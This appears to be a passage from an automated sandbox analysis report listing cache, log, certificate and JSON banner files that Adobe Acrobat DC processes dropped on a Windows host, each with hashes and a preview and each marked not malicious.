Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.192355358452516
Encrypted:	false
SSDEEP:	6:BLiq2PcNwi2nKuAl9OmbzNMxIFUt8wLQZmw+wLILzkwOcNwi2nKuAl9OmbzNMFLJ:BWvLZHAa8jFUt8wU/+wkX54ZHAa84J
MD5:	1518E0B37B09033923D90834FEEB6E17
SHA1:	5BE06BE57D184933CD78E4954DB80572ACE0F854
SHA-256:	59061EC92D5A110FED10F91C2E8185E16BDDA21C7D5FBC79291FDAADC31AB4CD
SHA-512:	4CB756864DCA3E420DE8D3B22B8B1F37D9839D87393329795AF7A4652A141FFCD9DBBB281679A88A9E6764114FD360E93D76BB2279C92EC69606C51502C353A0
Malicious:	false
Preview:	2024/12/21-07:18:17.988 1ef0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/12/21-07:18:17.989 1ef0 Recovering log #3.2024/12/21-07:18:17.990 1ef0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.192355358452516
Encrypted:	false
SSDEEP:	6:BLiq2PcNwi2nKuAl9OmbzNMxIFUt8wLQZmw+wLILzkwOcNwi2nKuAl9OmbzNMFLJ:BWvLZHAa8jFUt8wU/+wkX54ZHAa84J
MD5:	1518E0B37B09033923D90834FEEB6E17
SHA1:	5BE06BE57D184933CD78E4954DB80572ACE0F854
SHA-256:	59061EC92D5A110FED10F91C2E8185E16BDDA21C7D5FBC79291FDAADC31AB4CD
SHA-512:	4CB756864DCA3E420DE8D3B22B8B1F37D9839D87393329795AF7A4652A141FFCD9DBBB281679A88A9E6764114FD360E93D76BB2279C92EC69606C51502C353A0
Malicious:	false
Preview:	2024/12/21-07:18:17.988 1ef0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/12/21-07:18:17.989 1ef0 Recovering log #3.2024/12/21-07:18:17.990 1ef0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.43857050577155
Encrypted:	false
SSDEEP:	384:yeaci5GaiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:16urVgazUpUTTGt
MD5:	B0B6A97CC36029DC3A5E8C370BF01EA9
SHA1:	75941753F685B6263621E89E4CBF24D9BA682A7F
SHA-256:	AF0A7535A71684ABFAF6BCA70FF4BED748C6447EDCA4F572975344E57DB500D3
SHA-512:	EE69C497C8D77DF3664EF80AA9632B677F5DF2A5449E7182C15DA92E522B1951E7C7073C8F9E2165C530F00EA00BFD117C949E39D98ABAF4B897E0297A82A010
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7744859387169485
Encrypted:	false
SSDEEP:	48:7Mvp/E2ioyVIioy3DoWoy1CABoy1AKOioy1noy1AYoy1Wioy1hioybioyOoy1noc:7wpjuI0iAAXKQzFb9IVXEBodRBk1
MD5:	8EE0D0CC5094248E76E1550DB194AADF
SHA1:	D48857DBF7BF9B073F0E924EDB9D663EC8A81AD7
SHA-256:	14F6344A53189E88C36ED9E6E9209F5BCBC607C966647160EAE318848375971B
SHA-512:	52FD56FF0EB905B6DB7F25BD03EEE377316F87841398FBDAA3A95BD37219552058F4ED35F388CC5D244800C1953ED893B1AD2987EEEE9C1C4971BDFB8C89E41B
Malicious:	false
Preview:	.... .c......W.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.764745823915414
Encrypted:	false
SSDEEP:	3:kkFklRDIfllXlE/HT8k8l1NNX8RolJuRdxLlGB9lQRYwpDdt:kKET8bNMa8RdWBwRd
MD5:	155D8AC98DCEE8510D434D2FC3D835DF
SHA1:	1F8687A71B3D63B99259771ACE4C67D1C4EEAE6F
SHA-256:	F1ECABD593852BFC07700FB90BC3BD08D5916E0F902CE535C94B8A7FD7A86764
SHA-512:	204D4361206D1CCBA0FD055C30B3DE55426B72BE26CBF376E305FD58E917F1570698F688043BB9A3F3C338902BA1EAAE29435743CEFFC94BDA228BBC7E2A2DC1
Malicious:	false
Preview:	p...... .........&.p.S..(....................................................... ..........W....3#..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2478978672539016
Encrypted:	false
SSDEEP:	6:kK9SM9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:ODImsLNkPlE99SNxAhUe/3
MD5:	C558DE50FA8C952C20AF68FA4C7207D8
SHA1:	57C572275A933A97E6CE50ED9D450C223D5599C1
SHA-256:	7DBCD64FD9C935A869FE40594DE96BC9B94865596A8DC5C38B08E01E8105DB5F
SHA-512:	185F153D1439AA30E292B13657B8BEEFEE525B3FE43ABA05325EC284FC137EA4FF10EA4CEB80573BDD25A49309FD5CEC28BC107FF1D9A5510ACD9EBD98A4D101
Malicious:	false
Preview:	p...... ........7..S..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.368302406762061
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDwUQDbvnWWsGiIPEeOF0YrDoAvJM3g98kUwPeUkwRe9:YvXKXlQ/RsdTeOwGMbLUkee9
MD5:	D9309B3D5E70847270C34C185D11A13C
SHA1:	5DD10887AE1C9F0806B7F3B30F55FC492A32FC9F
SHA-256:	FEFA95719B81E9EAB7BA3DCDF4FF8A8AF416E5DE29BD0C3B7C4A91780F51A4CB
SHA-512:	58ABC74D750DC2416788BE29D041C4A53455850ADF378AC46F9A9853F37909C35F7B1FBE87CFA738760A524AA59043818C8851FDE9233A96A8CF7B3370D5F5FF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"465d1849-72e3-499d-a91a-5e906de58785","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1734956893487,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.305311604982493
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDwUQDbvnWWsGiIPEeOF0YrDoAvJfBoTfXpnrPeUkwRe9:YvXKXlQ/RsdTeOwGWTfXcUkee9
MD5:	7A580FE4830D3E8B6FF795EF466B3B04
SHA1:	6DE29C1246F0FCB74A98389CD6DB2EC12748C5AA
SHA-256:	00F1FA39F48DFD4DDD5C29165925564294B917FA3332DDF7E23CEBE183E15587
SHA-512:	DBAB3DC9F9D42EF3A6BA102740798363B97A498991D661E91683314CD396CCBBEF2DEA33C9EFC3BF304D5F963987B568B168C2C63C45B9CE7C6E062E121CC58D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"465d1849-72e3-499d-a91a-5e906de58785","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1734956893487,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2850709326394885
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDwUQDbvnWWsGiIPEeOF0YrDoAvJfBD2G6UpnrPeUkwRe9:YvXKXlQ/RsdTeOwGR22cUkee9
MD5:	C69AB56370A73D775B37AC39CEFA16B0
SHA1:	790254F656E80A69F58573B63C7D701C036220E8
SHA-256:	720895F37C697DEBE369ADB86A5E0AD27C6A75EC9CFA5C7EFD5B53621A0CC076
SHA-512:	37DBFDCEBBA617A2CF4814ECBD89EFE6FA542F5FFEBAF3915E379608602A00FAA05AF45A95D5074F2A0AEEF8118B9997FE8F33B0B141BD5627041B30CD4225DF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"465d1849-72e3-499d-a91a-5e906de58785","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1734956893487,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.355354008879855
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDwUQDbvnWWsGiIPEeOF0YrDoAvJfPmwrPeUkwRe9:YvXKXlQ/RsdTeOwGH56Ukee9
MD5:	75E402F5913507B087185CC279D1D27E
SHA1:	5CB43D17823C3D183F49A83C54C4482379692B8E
SHA-256:	94129D28F65D7D54D591F85C73DDC11E4697B9D87F1327A2F270BF28986D16E1
SHA-512:	1E05FC1DC8D41355CCFE5F5C53D1CA621EE6D9E445287D5F65F57114F0EB9180563529606D9A116AF453E890573C5DB43E62B07310E772354A937823B750E667
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"465d1849-72e3-499d-a91a-5e906de58785","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1734956893487,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.688074461508651
Encrypted:	false
SSDEEP:	24:Yv6XOpmeOtpLgE9cQx8LennAvzBvkn0RCmK8czOCCSv11:YvFUe6hgy6SAFv5Ah8cv/v11
MD5:	546263140FF2D12545E90F7780108796
SHA1:	6AF3D3AD5510A74B23E540C0844CD8DC515478CB
SHA-256:	C8314C3B95915CD333EA91842A30B9CA0A2B802DCDBAA326B78CEF9086B7929A
SHA-512:	6A81AAA38F5A5B20B4A5605991F74BB0B1729143F2CB04EE3A726B170C9087411F9AEFEB43C6DB3B3DA95E03C4CB0253A5E9119ADFADF4B6626A7C7B5A45575A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"465d1849-72e3-499d-a91a-5e906de58785","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1734956893487,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.289961464100969
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDwUQDbvnWWsGiIPEeOF0YrDoAvJf8dPeUkwRe9:YvXKXlQ/RsdTeOwGU8Ukee9
MD5:	4F48D0A6204187CC897A80C96A05AC56
SHA1:	E78361AFBD918C90C8576991243C908823794083
SHA-256:	B3C857AE92818E0278EF3FDAB359D3C50D91265774586A206A09D635E1FC2F2E
SHA-512:	472C06B986E0D9544B9EE64652BB01971A72764697DFD45F76ADE3230C2E429633E111D17A0E5C52CD7491B121EBDB937529A4D8C1EF11D29B84F5B70F8C8422
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"465d1849-72e3-499d-a91a-5e906de58785","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1734956893487,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.293690608639471
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDwUQDbvnWWsGiIPEeOF0YrDoAvJfQ1rPeUkwRe9:YvXKXlQ/RsdTeOwGY16Ukee9
MD5:	8C44F3CE2AB1067E27D84F8E5BE9B8E6
SHA1:	E4AE253E4F8D1D7835679EEC0B65054476660DC3
SHA-256:	88F04407D4999FDA39C78879E9BBEA09BD78674CF452292DAEB41C4999CBDEF3
SHA-512:	8941E076C9D9A46C80849289B5307E8F3CDC29EA0EDD77FDAA838E35923C57EAEA7018EDC6CBDE83F33C95F5371AF9410FAC65AD73BCAF2B9DD835D25375F142
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"465d1849-72e3-499d-a91a-5e906de58785","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1734956893487,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.307530915653901
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDwUQDbvnWWsGiIPEeOF0YrDoAvJfFldPeUkwRe9:YvXKXlQ/RsdTeOwGz8Ukee9
MD5:	7CA02BAC5DA8B8FEE0D458D1BAF96C95
SHA1:	9662D613CB2219A92A6F62DF9726D2B4CE64BA49
SHA-256:	184503A6A69BED1EC33FC0C986AC4F13D553E4A3D1C81782D6DBA7D293B36C7A
SHA-512:	0F6B66050DA7FE623744E11A44938AB840A2B6EA0F24053A515C11AC4DA35D2BD51548BC590C6D10D6B2BC64C4C023F2270902D1377C1388DA97C7B0914CBEFA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"465d1849-72e3-499d-a91a-5e906de58785","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1734956893487,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.314991479935972
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDwUQDbvnWWsGiIPEeOF0YrDoAvJfzdPeUkwRe9:YvXKXlQ/RsdTeOwGb8Ukee9
MD5:	A5F8818CBF75B5E8176B339CA9C80F34
SHA1:	14230EA2DF95585F168AA3B8ADCC76C41F0A3E28
SHA-256:	5C2CA826DA5CD2554A23A8FEB90279AA861AAA0E6D7B92791126E16F804E125F
SHA-512:	D85814341ECAA4D57D1C1B674B5A57E7FEA09235E14FA5603671417945CDB3B60BA547C010941B44F6838CE91E9924331978BDA86E59CBB126DC7C9AFC3DA97A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"465d1849-72e3-499d-a91a-5e906de58785","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1734956893487,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.295544451616595
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDwUQDbvnWWsGiIPEeOF0YrDoAvJfYdPeUkwRe9:YvXKXlQ/RsdTeOwGg8Ukee9
MD5:	71A2B07746E789BADB7128134632EFCE
SHA1:	96A465D67C729FC7DBD3A4F730465BD287AF71E9
SHA-256:	95487ABCBE9193F598E666F967BD6B96341342CE1E80003DB5E20BCF6CD91DF6
SHA-512:	6D537626E5ADEC1865C4591ED06F7F685D77192DBAF3EB03246C367D2B6849F6785CEDD7D7CA4AC5E24B4BEA0A432D8966C55254A18723D22720A2F66E4C5B86
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"465d1849-72e3-499d-a91a-5e906de58785","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1734956893487,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.282097735306699
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDwUQDbvnWWsGiIPEeOF0YrDoAvJf+dPeUkwRe9:YvXKXlQ/RsdTeOwG28Ukee9
MD5:	72870551D8ED610B2CB985E5F064C3C3
SHA1:	50261C78578B440111DD1207FEA55A75B6E088E4
SHA-256:	A14377931C5F16BBA61BB8F853F986E2BF8EE8D2E08AF43B53F7F6F407B22995
SHA-512:	8BCC97F05CB598C2E8F773A081D13A4CA41D3A046906123327A91820B061245A9764B2BEAAD35CF52528FE0F9C7BF6B0AC4E14AE3FEB069D4994AD78A37706F2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"465d1849-72e3-499d-a91a-5e906de58785","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1734956893487,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.279122171616117
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDwUQDbvnWWsGiIPEeOF0YrDoAvJfbPtdPeUkwRe9:YvXKXlQ/RsdTeOwGDV8Ukee9
MD5:	EC4922B7A5D248AC6B3FF92B429DD0AF
SHA1:	A74702F7F590BFC20FA9F3B207AD2FBB63917CF8
SHA-256:	58D35D5D04E631B2C3F46A481BBD41229CF3C92614F5B5F7B446F8055721942A
SHA-512:	7C07E887BAF9011A11B8ECA07342AB5176B07C8D1226F410AE9EA0A2CA377475C21AFBE441A37D3D8B50C4A37CE1681D45047B2D4C13A3AB62AA9D4B3CB06C88
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"465d1849-72e3-499d-a91a-5e906de58785","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1734956893487,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.283711952809029
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDwUQDbvnWWsGiIPEeOF0YrDoAvJf21rPeUkwRe9:YvXKXlQ/RsdTeOwG+16Ukee9
MD5:	3387E5523A00055583575A8DA12E5CB5
